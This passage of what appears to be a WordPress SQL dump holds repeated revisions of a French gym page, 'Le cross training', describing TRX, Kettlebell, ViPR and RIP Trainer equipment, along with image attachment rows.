Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;RIP Trainer&lt;/h1&gt;Le Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:08', '2013-06-16 11:03:08', '', 22, 'http://www.crosstrainingcenter.be/?p=67', 0, 'revision', '', 0),
(68, 1, '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 'trx1', '', 'inherit', 'open', 'open', '', 'trx1', '', '', '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg', 0, 'attachment', 'image/jpeg', 0),
(69, 1, '2013-06-16 11:03:19', '2013-06-16 11:03:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:19', '2013-06-16 11:03:19', '', 22, 'http://www.crosstrainingcenter.be/?p=69', 0, 'revision', '', 0),
(70, 1, '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 'kb', '', 'inherit', 'open', 'open', '', 'kb', '', '', '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg', 0, 'attachment', 'image/jpeg', 0),
(71, 1, '2013-06-16 11:10:48', '2013-06-16 11:10:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:10:48', '2013-06-16 11:10:48', '', 22, 'http://www.crosstrainingcenter.be/?p=71', 0, 'revision', '', 0),
(72, 1, '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 'vipr-f1', '', 'inherit', 'open', 'open', '', 'vipr-f1', '', '', '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg', 0, 'attachment', 'image/jpeg', 0),
(73, 1, '2013-06-16 11:14:12', '2013-06-16 11:14:12', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:14:12', '2013-06-16 11:14:12', '', 22, 'http://www.crosstrainingcenter.be/?p=73', 0, 'revision', '', 0),
(74, 1, '2013-06-16 11:19:30', '2013-06-16 11:19:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:19:30', '2013-06-16 11:19:30', '', 22, 'http://www.crosstrainingcenter.be/?p=74', 0, 'revision', '', 0),
(75, 1, '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 'ript', '', 'inherit', 'open', 'open', '', 'ript', '', '', '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg', 0, 'attachment', 'image/jpeg', 0),
(76, 1, '2013-06-16 11:22:21', '2013-06-16 11:22:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:21', '2013-06-16 11:22:21', '', 22, 'http://www.crosstrainingcenter.be/?p=76', 0, 'revision', '', 0),
